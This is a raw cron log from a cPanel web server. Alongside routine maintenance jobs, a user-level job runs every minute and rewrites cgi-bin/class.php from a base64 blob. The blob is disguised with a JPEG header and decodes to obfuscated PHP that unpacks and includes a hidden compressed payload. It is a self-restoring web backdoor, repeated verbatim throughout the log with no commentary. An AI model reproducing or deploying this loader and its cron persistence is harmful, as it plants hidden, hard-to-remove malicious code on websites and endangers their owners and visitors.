Sep  9 11:50:01 server CROND[31321]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:50:01 server CROND[31317]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:50:01 server CROND[31314]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 11:51:01 server CROND[32154]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:51:01 server CROND[32155]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 11:51:01 server CROND[32156]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:52:01 server CROND[32549]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:52:01 server CROND[32550]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:52:01 server CROND[32551]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 11:53:01 server CROND[575]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:53:01 server CROND[577]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:53:01 server CROND[576]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 11:54:01 server CROND[979]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:54:01 server CROND[980]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:54:01 server CROND[981]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 11:55:01 server CROND[1472]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:55:01 server CROND[1475]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 11:55:01 server CROND[1474]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 11:55:01 server CROND[1473]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 11:55:01 server CROND[1477]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 11:55:01 server CROND[1476]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 11:55:01 server CROND[1478]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:56:01 server CROND[2344]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:56:01 server CROND[2345]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:56:01 server CROND[2346]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 11:57:01 server CROND[2764]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:57:01 server CROND[2765]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:57:01 server CROND[2766]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 11:57:01 server CROND[2767]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 11:58:01 server CROND[3205]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:58:01 server CROND[3207]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:58:01 server CROND[3206]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 11:59:01 server CROND[3629]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:59:01 server CROND[3630]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 11:59:01 server CROND[3631]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:00:01 server CROND[4020]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 12:00:01 server CROND[4023]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 12:00:01 server CROND[4027]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 12:00:01 server CROND[4025]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 12:00:01 server CROND[4026]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 12:00:01 server CROND[4031]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  9 12:00:01 server CROND[4033]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/senddigests)
Sep  9 12:00:01 server CROND[4028]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 12:00:01 server CROND[4029]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  9 12:00:01 server CROND[4024]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:00:01 server CROND[4032]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:01:01 server CROND[4893]: (root) CMD (run-parts /etc/cron.hourly)
Sep  9 12:01:01 server CROND[4892]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:01:01 server CROND[4891]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
